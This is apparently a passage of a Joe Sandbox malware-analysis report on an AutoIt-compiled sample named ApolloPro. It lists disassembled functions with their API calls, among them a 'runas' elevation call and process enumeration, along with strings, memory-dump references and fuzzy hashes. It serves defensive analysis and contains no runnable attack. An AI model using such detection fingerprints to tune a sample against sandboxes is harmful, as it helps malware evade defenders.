                                                                    • SetCurrentDirectoryW.KERNEL32(?), ref: 007C5366
                                                                    • MessageBoxA.USER32(00000000,It is a violation of the AutoIt EULA to attempt to reverse engineer this program.,AutoIt,00000010), ref: 00800B2E
                                                                    • SetCurrentDirectoryW.KERNEL32(?), ref: 00800B66
                                                                    • GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00866D10), ref: 00800BE9
                                                                    • ShellExecuteW.SHELL32(00000000), ref: 00800BF0
                                                                      • Part of subcall function 007C514C: GetSysColorBrush.USER32(0000000F), ref: 007C5156
                                                                      • Part of subcall function 007C514C: LoadCursorW.USER32(00000000,00007F00), ref: 007C5165
                                                                      • Part of subcall function 007C514C: LoadIconW.USER32(00000063), ref: 007C517C
                                                                      • Part of subcall function 007C514C: LoadIconW.USER32(000000A4), ref: 007C518E
                                                                      • Part of subcall function 007C514C: LoadIconW.USER32(000000A2), ref: 007C51A0
                                                                      • Part of subcall function 007C514C: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 007C51C6
                                                                      • Part of subcall function 007C514C: RegisterClassExW.USER32(?), ref: 007C521C
                                                                      • Part of subcall function 007C50DB: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 007C5109
                                                                      • Part of subcall function 007C50DB: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 007C512A
                                                                      • Part of subcall function 007C50DB: ShowWindow.USER32(00000000), ref: 007C513E
                                                                      • Part of subcall function 007C50DB: ShowWindow.USER32(00000000), ref: 007C5147
                                                                      • Part of subcall function 007C59D3: _memset.LIBCMT ref: 007C59F9
                                                                      • Part of subcall function 007C59D3: Shell_NotifyIconW.SHELL32(00000000,?), ref: 007C5A9E
                                                                    Strings
                                                                    • It is a violation of the AutoIt EULA to attempt to reverse engineer this program., xrefs: 00800B28
                                                                    • runas, xrefs: 00800BE4
                                                                    • AutoIt, xrefs: 00800B23
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
                                                                    • String ID: AutoIt$It is a violation of the AutoIt EULA to attempt to reverse engineer this program.$runas
                                                                    • API String ID: 529118366-2030392706
                                                                    • Opcode ID: cc7530ba78d9eedef029c7f274c829abc2b29e5959112b751c0b822b9e6930d9
                                                                    • Instruction ID: f7a31c0936ab056162d63dd2edf0d6f97f66d83e01b25f7eea42d0e1a3c7bc5c
                                                                    • Opcode Fuzzy Hash: cc7530ba78d9eedef029c7f274c829abc2b29e5959112b751c0b822b9e6930d9
                                                                    • Instruction Fuzzy Hash: F9510830908248EACB11ABB0DC1DFEE7B74FB16344F14406DF566A22A7DEB99585CB21
                                                                    Function 007C5D13 Relevance: 10.7, APIs: 7, Instructions: 223COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetVersionExW.KERNEL32(?), ref: 007C5D40
                                                                      • Part of subcall function 007C1821: _memmove.LIBCMT ref: 007C185B
                                                                    • GetCurrentProcess.KERNEL32(?,00840A18,00000000,00000000,?), ref: 007C5E07
                                                                    • IsWow64Process.KERNEL32(00000000), ref: 007C5E0E
                                                                    • GetNativeSystemInfo.KERNELBASE(00000000), ref: 007C5E54
                                                                    • FreeLibrary.KERNEL32(00000000), ref: 007C5E5F
                                                                    • GetSystemInfo.KERNEL32(00000000), ref: 007C5E90
                                                                    • GetSystemInfo.KERNEL32(00000000), ref: 007C5E9C
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
                                                                    • String ID:
                                                                    • API String ID: 1986165174-0
                                                                    • Opcode ID: 029273baee7861eb1b1cb33608a204c2c9cbaf69c159dcfd64dd36d5b9036999
                                                                    • Instruction ID: 6af7cf59e7ae755fafa3ef8b62486e9be6eb4f376f4ad505e047f05d51eebe4e
                                                                    • Opcode Fuzzy Hash: 029273baee7861eb1b1cb33608a204c2c9cbaf69c159dcfd64dd36d5b9036999
                                                                    • Instruction Fuzzy Hash: E791E531549BC0DECB31CB788454AABFFE5BF2A300B880A5ED0C797A41D635B588D759
                                                                    Function 00814148 Relevance: 6.1, APIs: 4, Instructions: 85processCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CreateToolhelp32Snapshot.KERNEL32 ref: 0081416D
                                                                    • Process32FirstW.KERNEL32(00000000,?), ref: 0081417B
                                                                    • Process32NextW.KERNEL32(00000000,?), ref: 0081419B
                                                                    • CloseHandle.KERNELBASE(00000000), ref: 00814245
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
                                                                    • String ID:
                                                                    • API String ID: 420147892-0
                                                                    • Opcode ID: 9b89322402581953eaacbe86fec43dad5ef5fe5f617c18944943a1bb04e3d80f
                                                                    • Instruction ID: dd8345bca33b3cb7e074736f2e4e756914d9399cfc1e0f15bec9eab7cee33607
                                                                    • Opcode Fuzzy Hash: 9b89322402581953eaacbe86fec43dad5ef5fe5f617c18944943a1bb04e3d80f
                                                                    • Instruction Fuzzy Hash: DE315C711083419BD310EF50D889FAFBBE8FF96350F40092DF595C21A2EB759A89CB92
                                                                    Function 007BB020 Relevance: 5.6, APIs: 3, Instructions: 1146COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007C3740: CharUpperBuffW.USER32(?,008771DC,00000001,?,00000000,008771DC,?,007B53A5,?,?,?,?), ref: 007C375D
                                                                    • _memmove.LIBCMT ref: 007BB68A
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: BuffCharUpper_memmove
                                                                    • String ID:
                                                                    • API String ID: 2819905725-0
                                                                    • Opcode ID: 1223306b0ca890d3cc9c5d4500a3ec3d66267790d53f742568bb3759fc1a5735
                                                                    • Instruction ID: 13070de5083cdd7fc0189cb30587504ad00b02b4e3a92d28fa37dadd48555a8c
                                                                    • Opcode Fuzzy Hash: 1223306b0ca890d3cc9c5d4500a3ec3d66267790d53f742568bb3759fc1a5735
                                                                    • Instruction Fuzzy Hash: 57A25770608345DFD720DF28C484BAAB7E1FF84304F14895DE99A8B362D7B9E945CB92
                                                                    Function 007B94E0 Relevance: 3.5, APIs: 2, Instructions: 539COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: d9c5c651b2e4db5725a2398050e9f2337fe027b7c77c10fafc2406a99949a259
                                                                    • Instruction ID: d8cd86f3582921d7ee24b088fe761fd32dbb430b6f11fbb625e0062419874352
                                                                    • Opcode Fuzzy Hash: d9c5c651b2e4db5725a2398050e9f2337fe027b7c77c10fafc2406a99949a259
                                                                    • Instruction Fuzzy Hash: 16228C7490421ADFDB24DF54C484BFAB7B0FF49300F148169EB66AB352E738A985CB91
                                                                    Function 007BBC70 Relevance: 50.4, APIs: 22, Strings: 6, Instructions: 1379sleeptimeCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • timeGetTime.WINMM ref: 007BBF57
                                                                      • Part of subcall function 007B52B0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 007B52E6
                                                                    • Sleep.KERNEL32(0000000A,?,?), ref: 007F36B5
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: MessagePeekSleepTimetime
                                                                    • String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID$CALL
                                                                    • API String ID: 1792118007-922114024
                                                                    • Opcode ID: b917a50325c487f43b957ffe57293a847f35fe7b695ada6805f3b265e93bc329
                                                                    • Instruction ID: 41900c7c60bd84cfe70ec7d8f7e44b54237a24bb409f7f315640c33b79394ff0
                                                                    • Opcode Fuzzy Hash: b917a50325c487f43b957ffe57293a847f35fe7b695ada6805f3b265e93bc329
                                                                    • Instruction Fuzzy Hash: B6C2AD70608345DFD724DF24C848BAAB7E5BF84304F14891DF68A973A1DB79E984CB92
                                                                    Function 007B33E8 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 73windowregistryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetSysColorBrush.USER32(0000000F), ref: 007B3444
                                                                    • RegisterClassExW.USER32(00000030), ref: 007B346E
                                                                    • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 007B347F
                                                                    • InitCommonControlsEx.COMCTL32(?), ref: 007B349C
                                                                    • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 007B34AC
                                                                    • LoadIconW.USER32(000000A9), ref: 007B34C2
                                                                    • ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 007B34D1
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                                    • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                                    • API String ID: 2914291525-1005189915
                                                                    • Opcode ID: f3f1e07be7d0286d35c4d3af6ab8ee57c392fea9aacb99f1bf2466562000a856
                                                                    • Instruction ID: 59ee2526e95c50fc8a6b7b5c93ec79c3da63d2c9c4c1a30f3ffc575a236c4bef
                                                                    • Opcode Fuzzy Hash: f3f1e07be7d0286d35c4d3af6ab8ee57c392fea9aacb99f1bf2466562000a856
                                                                    • Instruction Fuzzy Hash: 50314971844309AFDB10CFA4EC89BDABBF0FF09310F14412AE655E62A0D7B55581CF91
                                                                    Function 007B3411 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54windowregistryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetSysColorBrush.USER32(0000000F), ref: 007B3444
                                                                    • RegisterClassExW.USER32(00000030), ref: 007B346E
                                                                    • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 007B347F
                                                                    • InitCommonControlsEx.COMCTL32(?), ref: 007B349C
                                                                    • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 007B34AC
                                                                    • LoadIconW.USER32(000000A9), ref: 007B34C2
                                                                    • ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 007B34D1
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                                    • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                                    • API String ID: 2914291525-1005189915
                                                                    • Opcode ID: 359f3a05521c962e78b43108770f0ce531491649cc7eb156eff81b38d3f64e7e
                                                                    • Instruction ID: 7a981be81818b1836db2e5d24d177dae04efc02afe79a30a703b706621d4dedf
                                                                    • Opcode Fuzzy Hash: 359f3a05521c962e78b43108770f0ce531491649cc7eb156eff81b38d3f64e7e
                                                                    • Instruction Fuzzy Hash: 7E21E8B5954318AFDB00DF94EC48BDE7BF4FB09700F00412AF625A62A0D7B55584CF96
                                                                    Function 007C2FC5 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201registryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007D00CF: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,?,?,007C3094), ref: 007D00ED
                                                                      • Part of subcall function 007D08C1: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,007C309F), ref: 007D08E3
                                                                    • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 007C30E2
                                                                    • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 008001BA
                                                                    • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 008001FB
                                                                    • RegCloseKey.ADVAPI32(?), ref: 00800239
                                                                    • _wcscat.LIBCMT ref: 00800292
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
                                                                    • String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
                                                                    • API String ID: 2673923337-2727554177
                                                                    • Opcode ID: d4490cb497f131b5b39c273f0d0fee2bd6e70f004060f57b1a42d20814553c31
                                                                    • Instruction ID: 5300706c16df545e8961c48c46bdc5c858df579635e21f6fcca4b31da262349d
                                                                    • Opcode Fuzzy Hash: d4490cb497f131b5b39c273f0d0fee2bd6e70f004060f57b1a42d20814553c31
                                                                    • Instruction Fuzzy Hash: 98716971459301DAC310EF65EC8DA6BBBA8FF55341F80052EF549D22A2EF34D989CB52
                                                                    Function 007C514C Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71windowregistryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetSysColorBrush.USER32(0000000F), ref: 007C5156
                                                                    • LoadCursorW.USER32(00000000,00007F00), ref: 007C5165
                                                                    • LoadIconW.USER32(00000063), ref: 007C517C
                                                                    • LoadIconW.USER32(000000A4), ref: 007C518E
                                                                    • LoadIconW.USER32(000000A2), ref: 007C51A0
                                                                    • LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 007C51C6
                                                                    • RegisterClassExW.USER32(?), ref: 007C521C
                                                                      • Part of subcall function 007B3411: GetSysColorBrush.USER32(0000000F), ref: 007B3444
                                                                      • Part of subcall function 007B3411: RegisterClassExW.USER32(00000030), ref: 007B346E
                                                                      • Part of subcall function 007B3411: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 007B347F
                                                                      • Part of subcall function 007B3411: InitCommonControlsEx.COMCTL32(?), ref: 007B349C
                                                                      • Part of subcall function 007B3411: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 007B34AC
                                                                      • Part of subcall function 007B3411: LoadIconW.USER32(000000A9), ref: 007B34C2
                                                                      • Part of subcall function 007B3411: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 007B34D1
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                                                    • String ID: #$0$AutoIt v3
                                                                    • API String ID: 423443420-4155596026
                                                                    • Opcode ID: 26b38247b4b817178d88059ccfa516e61c299d2d7b321557bab516ece5408084
                                                                    • Instruction ID: a52c865aae0fdb1d77b83a4e93d3fdfb119acd983a04720a4201dff1eca6db45
                                                                    • Opcode Fuzzy Hash: 26b38247b4b817178d88059ccfa516e61c299d2d7b321557bab516ece5408084
                                                                    • Instruction Fuzzy Hash: 95214B74964308AFEB109FA4ED0DB9E7FB5FB18310F00412AF619A62A5D7B69590CF84
                                                                    Function 007C4D83 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151windowtimeregistryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • DefWindowProcW.USER32(?,?,?,?), ref: 007C4E22
                                                                    • KillTimer.USER32(?,00000001), ref: 007C4E4C
                                                                    • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 007C4E6F
                                                                    • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 007C4E7A
                                                                    • CreatePopupMenu.USER32 ref: 007C4E8E
                                                                    • PostQuitMessage.USER32(00000000), ref: 007C4EAF
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
                                                                    • String ID: TaskbarCreated
                                                                    • API String ID: 129472671-2362178303
                                                                    • Opcode ID: add89369d20eb86897cf71a21699dcb1e9d5053751a1e10690aaaa109d163777
                                                                    • Instruction ID: 45b920053d5edadcf2946bad626743d54355d69c6f84b5c93e6b6785e87c5402
                                                                    • Opcode Fuzzy Hash: add89369d20eb86897cf71a21699dcb1e9d5053751a1e10690aaaa109d163777
                                                                    • Instruction Fuzzy Hash: F741363121860AABEB115F68DC5DFBE3B55F750300F01012DFA06D22E6CA79EC90DB62
                                                                    Function 007BAD98 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 007BADE1
                                                                    • CoUninitialize.COMBASE ref: 007BAE80
                                                                    • UnregisterHotKey.USER32(?), ref: 007BAFD7
                                                                    • DestroyWindow.USER32(?), ref: 007F2F64
                                                                    • FreeLibrary.KERNEL32(?), ref: 007F2FC9
                                                                    • VirtualFree.KERNEL32(?,00000000,00008000), ref: 007F2FF6
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
                                                                    • String ID: close all
                                                                    • API String ID: 469580280-3243417748
                                                                    • Opcode ID: ae5d9aa14d5c321af0c617dd23847765fade5a912521460f839ea6c4e1dc7468
                                                                    • Instruction ID: 7cdc360dd819812a13fbad6227217e9248a1592eb86aaa09fb6a3e20ca0cb97c
                                                                    • Opcode Fuzzy Hash: ae5d9aa14d5c321af0c617dd23847765fade5a912521460f839ea6c4e1dc7468
                                                                    • Instruction Fuzzy Hash: A0A14B70701216DFCB29EB14C499BA9F7A5BF04700F5442ADE90AAB352DB39ED12CF91
                                                                    Function 007C56F8 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 117windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00800C5B
                                                                      • Part of subcall function 007C1821: _memmove.LIBCMT ref: 007C185B
                                                                    • _memset.LIBCMT ref: 007C5787
                                                                    • _wcscpy.LIBCMT ref: 007C57DB
                                                                    • Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 007C57EB
                                                                    • __swprintf.LIBCMT ref: 00800CD1
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: IconLoadNotifyShell_String__swprintf_memmove_memset_wcscpy
                                                                    • String ID: Line %d: $))$AutoIt -
                                                                    • API String ID: 230667853-2986313055
                                                                    • Opcode ID: 0ddbcc52ba439a4b56195648868075d156a40c2cc366b7643ded0787f1f29f97
                                                                    • Instruction ID: c4822024f6d11c47a495dc6c36935988310fd8f153f53206d18eabc8b070257c
                                                                    • Opcode Fuzzy Hash: 0ddbcc52ba439a4b56195648868075d156a40c2cc366b7643ded0787f1f29f97
                                                                    • Instruction Fuzzy Hash: 4C41A471008304AAD321EB60DC49FDB77ECAF45350F00062EF599D21A2EB78E689CB56
                                                                    Function 00817681 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • InterlockedExchange.KERNEL32(?,000001F5), ref: 00817698
